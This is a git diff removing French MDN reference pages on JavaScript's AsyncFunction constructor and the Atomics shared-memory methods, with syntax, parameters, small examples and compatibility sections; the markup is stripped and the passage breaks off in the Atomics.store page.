Note : Les fonctions asynchrones créées avec le constructeur AsyncFunction ne créent pas de fermetutres dans leurs contextes de création. Elles sont toujours créées dans la portée globale. Lorsqu'on les exécute, ellee ne pourront accéder qu'à leurs variables locales et aux variables globales, pas à celles qui appartiennent à la portée dans laquelle AsyncFunction a été appelé. On aurait donc un comportement différent  si on appelait {{jsxref("Objets_globaux/eval", "eval")}} avec le code de l'expression de la fonction asynchrone.

-
- -

Si on appelle AsyncFunction comme une fonction (c'est-à-dire sans new), cela aura le même effet que s'il est appelé comme un constructeur.

- -

Propriétés

- -
-
AsyncFunction.length
-
La propriété de longueur du constructeur AsyncFunction dont la valeur est 1.
-
{{jsxref("AsyncFunction.prototype")}}
-
Le prototype permet d'ajouter des propriétés à tous les objets représentant les fonctions asynchrones.
-
- -

Prototype de l'objet AsyncFunction

- -

Propriétés

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/AsyncFunction/prototype', 'Propriétés')}}
- -

Instances AsyncFunction

- -

Les instances d'AsyncFunction héritent des méthodes et des propriétés de {{jsxref("AsyncFunction.prototype")}}. Comme avec les autres constructeurs, on peut changer l'objet prototype du constructeur afin de modifier l'ensemble des instances AsyncFunction.

- -

Exemples

- -

Créer une fonction asynchrone avec un constructeur AsyncFunction

- -
function resolveAfter2Seconds(x) {
-  return new Promise(resolve => {
-    setTimeout(() => {
-      resolve(x);
-    }, 2000);
-  });
-}
-
-var AsyncFunction = Object.getPrototypeOf(async function(){}).constructor
-var a = new AsyncFunction("a",
-                          "b",
-                          "return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);");
-a(10, 20).then(v => {
-  console.log(v); // affiche 30 après 4 secondes
-});
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-async-function-objects', 'AsyncFunction object')}}{{Spec2('ESDraft')}}Définition initiale dans ES2017.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.AsyncFunction")}}

-
- -

Voir aussi

- -
    -
  • Instruction {{jsxref("Instructions/async_function", "async function")}}
    • -
  • Expression {{jsxref("Opérateurs/async_function","async function")}}
    • -
  • {{jsxref("Objets_globaux/Function", "Function")}}
    • -
  • Instruction {{jsxref("Instructions/function", "function")}}
    • -
  • Expression {{jsxref("Opérateurs/function", "function")}}
    • -
  • {{jsxref("Fonctions", "Fonctions et portées des fonctions", "", 1)}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/asyncfunction/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/asyncfunction/prototype/index.html deleted file mode 100644 index 7343f73357..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/asyncfunction/prototype/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: AsyncFunction.prototype -slug: Web/JavaScript/Reference/Objets_globaux/AsyncFunction/prototype -tags: - - Experimental - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype ---- -
{{JSRef}}
- -

La propriété AsyncFunction.prototype représente le prototype de l'objet {{jsxref("AsyncFunction")}}.

- -

Description

- -

Les objets {{jsxref("AsyncFunction")}} héritent de AsyncFunction.prototype. AsyncFunction.prototype ne peut pas être modifiée.

- -

Propriétés

- -
-
AsyncFunction.constructor
-
La valeur initiale est {{jsxref("AsyncFunction")}}.
-
AsyncFunction.prototype[@@toStringTag]
-
Renvoie "AsyncFunction".
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}{{Spec2('ESDraft')}}Définition initiale dans ES2017.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.AsyncFunction.prototype")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("AsyncFunction")}}
    • -
  • {{jsxref("Function")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/add/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/add/index.html deleted file mode 100644 index 2d9bc81ecc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/add/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Atomics.add() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/add -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add ---- -
{{JSRef}}
- -

La méthode statique Atomics.add() ajoute une valeur donnée à un élément du tableau à une position donnée. Elle renvoie l'ancienne valeur qui était contenue à cet emplacement. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

- -
{{EmbedInteractiveExample("pages/js/atomics-add.html")}}
- - - -

Syntaxe

- -
Atomics.add(typedArray, index, valeur)
-
- -

Paramètres

- -
-
typedArray
-
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
-
index
-
La position du tableau typedArray auquel on souhaite ajouter une valeur.
-
valeur
-
La valeur à ajouter.
-
- -

Valeur de retour

- -

L'ancienne valeur qui était contenue à (typedArray[index]).

- -

Exceptions levées

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-var ta = new Uint8Array(sab);
-
-Atomics.add(ta, 0, 12); // renvoie 0, l'ancienne valeur
-Atomics.load(ta, 0);    // 12
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.add', 'Atomics.add')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.add")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.sub()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/and/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/and/index.html deleted file mode 100644 index 31fb9d4a53..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/and/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Atomics.and() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/and -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/and ---- -
{{JSRef}}
- -

La méthode statique Atomics.and() calcule un ET binaire avec une valeur donnée, à un emplacement donné du tableau. Elle renvoie l'ancienne valeur qui était contenue à cet emplacement. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

- -
{{EmbedInteractiveExample("pages/js/atomics-and.html")}}
- - - -

Syntaxe

- -
Atomics.and(typedArray, index, valeur)
-
- -

Paramètres

- -
-
typedArray
-
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
-
index
-
La position dans typedArray où calculer le ET binaire.
-
valeur
-
Le nombre avec lequel on souhaite calculer le ET binaire.
-
- -

Valeur de retour

- -

L'ancienne valeur qui était contenue à (typedArray[index]).

- -

Exceptions levée

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Description

- -

Un ET binaire fournit la valeur 1 uniquement si a et b valent 1. La table de vérité pour l'opération ET est :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba & b
000
010
100
111
- -

Ainsi, si on calcule le ET binaire de 5 et 1 avec l'instruction 5 & 1, cela fournira la valeur 0001, qui correspond à 1 en notation décimale.

- -
5  0101
-1  0001
-   ----
-1  0001
- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-var ta = new Uint8Array(sab);
-ta[0] = 5;
-
-Atomics.and(ta, 0, 1); // renvoie 0, l'ancienne valeur
-Atomics.load(ta, 0);   // 1
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.and', 'Atomics.and')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.and")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.or()")}}
    • -
  • {{jsxref("Atomics.xor()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/compareexchange/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/compareexchange/index.html deleted file mode 100644 index bb470fa343..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/compareexchange/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Atomics.compareExchange() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/compareExchange -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/compareExchange ---- -
{{JSRef}}
- -

La méthode statique Atomics.compareExchange() échange une valeur d'un tableau à un emplacement donné si la valeur qui était dans le tableau correspond à une valeur donnée. Cette méthode renvoie l'ancienne valeur à cet emplacement, qu'il y ait eu remplacement ou non. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

- -
{{EmbedInteractiveExample("pages/js/atomics-compareexchange.html")}}
- - - -

Syntaxe

- -
Atomics.compareExchange(typedArray, index, valeurAttendue, valeurRemplacement)
-
- -

Paramètres

- -
-
typedArray
-
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
-
index
-
La position du tableau typedArray à laquelle on veut échanger les valeurs.
-
valeurAttendue
-
La valeur avec laquelle on teste l'égalité.
-
valeurRemplacement
-
Le nombre qu'on souhaite placer dans le tableau si l'ancienne valeur est égale avec valeurAttendue.
-
- -

Valeur de retour

- -

L'ancienne valeur présente à typedArray[index].

- -

Exceptions levées

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-var ta = new Uint8Array(sab);
-ta[0] = 7;
-
-Atomics.compareExchange(ta, 0, 7, 12); // renvoie 7, l'ancienne valeur
-Atomics.load(ta, 0);                   // 12
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.compareexchange', 'Atomics.compareExchange')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.compareExchange")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.exchange()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/exchange/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/exchange/index.html deleted file mode 100644 index 6c73556862..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/exchange/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Atomics.exchange() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/exchange -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/exchange ---- -
{{JSRef}}
- -

La méthode statique Atomics.exchange() permet d'enregistrer une valeur à une position donnée d'un tableau et de renvoyer l'ancienne valeur qui était contenue dans le tableau. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

- -
{{EmbedInteractiveExample("pages/js/atomics-exchange.html")}}
- - - -

Syntaxe

- -
Atomics.exchange(typedArray, index, valeur)
-
- -

Paramètres

- -
-
typedArray
-
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
-
index
-
La position dans le tableau typedArray à laquelle on veut placer valeur.
-
valeur
-
Le nombre qu'on souhaite échanger.
-
- -

Valeur de retour

- -

L'ancienne valeur qui était contenue à (typedArray[index]).

- -

Exceptions levées

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-var ta = new Uint8Array(sab);
-
-Atomics.exchange(ta, 0, 12);  // renvoie 0, l'ancienne valeur
-Atomics.load(ta, 0);          // 12
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-atomics.exchange', 'Atomics.exchange')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.exchange")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.compareExchange()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/index.html deleted file mode 100644 index 6ca2de61b4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Atomics -slug: Web/JavaScript/Reference/Objets_globaux/Atomics -tags: - - JavaScript - - Mémoire partagée - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics ---- -
{{JSRef}}
- -

L'objet Atomics fournit des opérations atomiques sous la forme de méthodes statiques. Celles-ci sont utilisées avec les objets {{jsxref("SharedArrayBuffer")}}.

- -

Les opérations atomiques sont installées sur un module Atomics. À la différence des autres objets globaux, Atomics n'est pas un constructeur. Pour cette raison, il ne peut être utilisé avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new")}} et il ne peut pas être appelé comme une fonction. Les propriétés et les méthodes d'Atomics sont statiques (Atomics fonctionne ainsi comme l'objet {{jsxref("Math")}}).

- -

Propriétés

- -
-
Atomics[Symbol.toStringTag]
-
-

La valeur de cette propriété vaut "Atomics".

-
-
- -

Méthodes

- -

Opérations atomiques

- -

Lorsque la mémoire est partagée, plusieurs threads peuvent lire et écrire sur les mêmes données en mémoire. Les opérations atomiques permettent de s'assurer que des valeurs prévisibles sont écrites et lues, que les opérations sont finies avant que la prochaine débute et que les opérations ne sont pas interrompues.

- -
-
{{jsxref("Atomics.add()")}}
-
Cette méthode ajoute la valeur fournie à la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.
-
{{jsxref("Atomics.and()")}}
-
Cette méthode calcule un ET binaire sur la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.
-
{{jsxref("Atomics.compareExchange()")}}
-
Cette méthode stocke la valeur fournie à la position indiquée dans le tableau si elle est égale à une valeur donnée. Elle renvoie l'ancienne valeur.
-
{{jsxref("Atomics.exchange()")}}
-
Cette méthode stocke la valeur fournie à la position indiquée dans le tableau. Elle renvoie l'ancienne valeur.
-
- -
-
{{jsxref("Atomics.load()")}}
-
Cette méthode renvoie la valeur à la position indiquée dans le tableau.
-
{{jsxref("Atomics.or()")}}
-
Cette méthode calcule un OU binaire entre la valeur fournie et la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.
-
{{jsxref("Atomics.store()")}}
-
Cette méthode stocke une valeur à une position indiquée dans le tableau. Elle renvoie la valeur.
-
{{jsxref("Atomics.sub()")}}
-
Cette méthode soustrait la valeur fournie à la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était contenue à cette position.
-
{{jsxref("Atomics.xor()")}}
-
Cette méthode calcule un OU exclusif binaire sur une position donnée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.
-
- -

Attente et notification (wait et notify)

- -

Le méthodes wait() et notify() sont basées sur les futex Linux (selon le vocabulaire employé sur Linux où ça signifie « fast user-space mutex » ou encore « mutex rapide pour l'espace utilisateur ») fournissent des outils pour attendre jusqu'à ce qu'une condition donnée soit vérifiée. Généralement ces méthodes sont utilisées pour bloquer des opérations.

- -
-
{{jsxref("Atomics.wait()")}}
-
Cette méthode vérifie qu'une position donnée du tableau contient bien une valeur donnée puis dort ou expire. Elle renvoie une des chaînes suivantes "ok", "not-equal", "timed-out". Si l'agent appelant ne permet pas d'attente, cela lèvera une exception Error (la plupart des navigateurs ne permettront pas que futexWait() soit utilisé sur le thread principal du navigateur).
-
{{jsxref("Atomics.notify()")}}
-
Cette méthode notifient les agents qui attendent dans la file d'attente à une position donnée. Elle renvoie le nombre d'agents notifiés.
-
{{jsxref("Atomics.isLockFree()")}}
-
Une primitive d'optimisation qui peut être utilisée afin de déterminer s'il faut utiliser des verrous (locks) ou des opérations atomiques. Elle renvoie true si la taille donnée est l'une des propriétés BYTES_PER_ELEMENT des types TypedArray et qu'on peut donc implémenter l'opération de façon atomique plutôt que d'utiliser un verrou.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics-object', 'Atomics')}}{{Spec2('ESDraft')}} 
{{SpecName('ES8', '#sec-atomics-object', 'Atomics')}}{{Spec2('ES8')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics")}}

- -

Notes de compatibilité

- -

Avant Firefox 48 {{geckoRelease(48)}}, les noms les plus récents et la sémantique la plus récente n'étaient pas encore implémentés. Les changements qui ont eu lieu entre la version 46 et la version 48 de Firefox sont :

- -
    -
  • Les méthodes Atomics.futexWakeOrRequeue() et Atomics.fence() sont désormais complètement retirées (cf. {{bug(1259544)}} et {{bug(1225028)}}).
    • -
  • Les méthodes {{jsxref("Atomics.wait()")}} et  {{jsxref("Atomics.wake()")}} qui étaient nommées Atomics.futexWait() ete Atomics.futexWake() (cf. {{bug(1260910)}}). Les anciens noms seront  définitivement supprimés à partir de la version 49 ({{bug(1262062)}}). Atomics.wake() a été renommé en Atomics.notify() à partir de la version 63.
    • -
  • Les propriétés Atomics.OK, Atomics.TIMEDOUT, Atomics.NOTEQUAL ont été retirées. La méthode {{jsxref("Atomics.wait()")}} renvoie désormais les chaînes de caractères "ok", "timed-out" ou "not-equal" (cf. {{bug(1260835)}}).
    • -
  • -

    Le paramètre count de la méthode {{jsxref("Atomics.wake()")}} a été modifié, sa valeur par défaut est désormais +Infinity et non 0 ({{bug(1253350)}}).

    -
    • -
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/islockfree/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/islockfree/index.html deleted file mode 100644 index 90fcd68c97..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/islockfree/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Atomics.isLockFree() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/isLockFree -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/isLockFree ---- -
{{JSRef}}
- -

La méthode statique Atomics.isLockFree() est utilisée afin de déterminer si on doit utiliser des verrous (locks) ou des opérations atomiques. Elle renvoie true si la taille donnée correspond à une des propriétés BYTES_PER_ELEMENT d'un des types TypedArray.

- -
{{EmbedInteractiveExample("pages/js/atomics-islockfree.html")}}
- - - -

Syntaxe

- -
Atomics.isLockFree(taille)
-
- -

Paramètres

- -
-
taille
-
La taille en octets qu'on souhaite vérifier.
-
- -

Valeur de retour

- -

Un {{jsxref("Boolean","booléen","",1)}} indiquant si l'opération se déroule sans verrou.

- -

Exemples

- -
Atomics.isLockFree(1); // true
-Atomics.isLockFree(2); // true
-Atomics.isLockFree(3); // false
-Atomics.isLockFree(4); // true
-Atomics.isLockFree(5); // false
-Atomics.isLockFree(6); // false
-Atomics.isLockFree(7); // false
-Atomics.isLockFree(8); // true
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.islockfree', 'Atomics.isLockFree')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.isLockFree")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/load/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/load/index.html deleted file mode 100644 index 285abde89f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/load/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Atomics.load() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/load -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/load ---- -
{{JSRef}}
- -

La méthode statique Atomics.load() renvoie une valeur située à une position donnée du tableau.

- -
{{EmbedInteractiveExample("pages/js/atomics-load.html")}}
- - - -

Syntaxe

- -
Atomics.load(typedArray, index)
-
- -

Paramètres

- -
-
typedArray
-
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
-
index
-
La position du tableau typedArray qu'on souhaite charger.
-
- -

Valeur de retour

- -

La valeur à la position indiquée (typedArray[index]).

- -

Exceptions levées

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-var ta = new Uint8Array(sab);
-
-Atomics.add(ta, 0, 12);
-Atomics.load(ta, 0); // 12
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.load', 'Atomics.load')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.load")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.store()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/notify/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/notify/index.html deleted file mode 100644 index 6c2c3ebc47..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/notify/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Atomics.notify() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/notify -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/notify ---- -
{{JSRef}}
- -

La méthode statique Atomics.notify() permet de réveiller des agents dormants qui sont dans la file d'attente.

- -
-

Note : Cette opération ne fonctionne que sur un tableau typé partagé de type {{jsxref("Int32Array")}}.

-
- -

Syntaxe

- -
Atomics.notify(typedArray, index, count)
-
- -

Paramètres

- -
-
typedArray
-
Un table typé partagé de type {{jsxref("Int32Array")}}.
-
index
-
La position sur le tableau typedArray pour laquelle réveiller les agents.
-
count
-
Le nombre d'agents dormants à réveiller.
-
- -

Valeur de retour

- -

Le nombre d'agents réveillés.

- -

Exceptions levées

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas un tableau typé partagé de type{{jsxref("Int32Array")}}.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Exemples

- -

Soit un tableau typé partagé Int32Array:

- -
var sab = new SharedArrayBuffer(1024);
-var int32 = new Int32Array(sab);
-
- -

Un thread de lecture est en sommeil et surveille l'emplacement 0 et s'attend à ce que la valeur soit 0. Tant que cette condition est vérifiée, l'exécution n'ira pas plus loin. Lorsque le thread d'écriture a enregistré une nouvelle valeur, le thread de lecture sera réveillé par le thread d'écriture et renverra la nouvelle valeur (123).

- -
Atomics.wait(int32, 0, 0);
-console.log(int32[0]); // 123
- -

Un thread d'écriture stocke une nouvelle valeur et notifie le thread de lecture une fois que la valeur a bien été écrite :

- -
console.log(int32[0]); // 0;
-Atomics.store(int32, 0, 123);
-Atomics.notify(int32, 0, 1);
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-atomics.notify', 'Atomics.notify')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.notify")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.wait()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/or/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/or/index.html deleted file mode 100644 index fa53f24777..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/or/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Atomics.or() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/or -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/or ---- -
{{JSRef}}
- -

La méthode statique Atomics.or() calcule le résultat d'un OU binaire entre une valeur donnée et une valeur du tableau typé et y place le résultat obtenu. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

- -
{{EmbedInteractiveExample("pages/js/atomics-or.html")}}
- - - -

Syntaxe

- -
Atomics.or(typedArray, index, value)
-
- -

Paramètres

- -
-
typedArray
-
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
-
index
-
La position du tableau typedArray sur laquelle calculer le OU binaire.
-
valeur
-
Le nombre avec lequel calculer le OU binaire.
-
- -

Valeur de retour

- -

L'ancienne valeur contenue à l'emplacement du tableau (typedArray[index]).

- -

Exceptions levées

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Description

- -

L'opération binaire OU renvoie 1 si a ou b valent 1. La table de vérité de cette opération est :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba | b
000
011
101
111
- -

Par exemple, un OU binaire appliqué entre 5 et 1 (5 | 1) renvoie 0101, ce qui correspond à 5 en notation décimale.

- -
5  0101
-1  0001
-   ----
-5  0101
-
- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-var ta = new Uint8Array(sab);
-ta[0] = 2;
-
-Atomics.or(ta, 0, 1); // renvoie 2, l'ancienne valeur
-Atomics.load(ta, 0);  // 3
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.or', 'Atomics.or')}}{{Spec2('ESDraft')}}Définition initiale avec 2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.or")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.and()")}}
    • -
  • {{jsxref("Atomics.xor()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/store/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/store/index.html deleted file mode 100644 index f5b85b974c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/store/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Atomics.store() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/store -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/store ---- -
{{JSRef}}
- -

La méthode statique Atomics.store() enregistre une valeur donnée à un emplacement donné du tableau partagé et renvoie cette valeur.

- -
{{EmbedInteractiveExample("pages/js/atomics-store.html")}}
- - - -

Syntaxe

- -
Atomics.store(typedArray, index, valeur)
-
- -

Paramètres

- -
-
typedArray
-
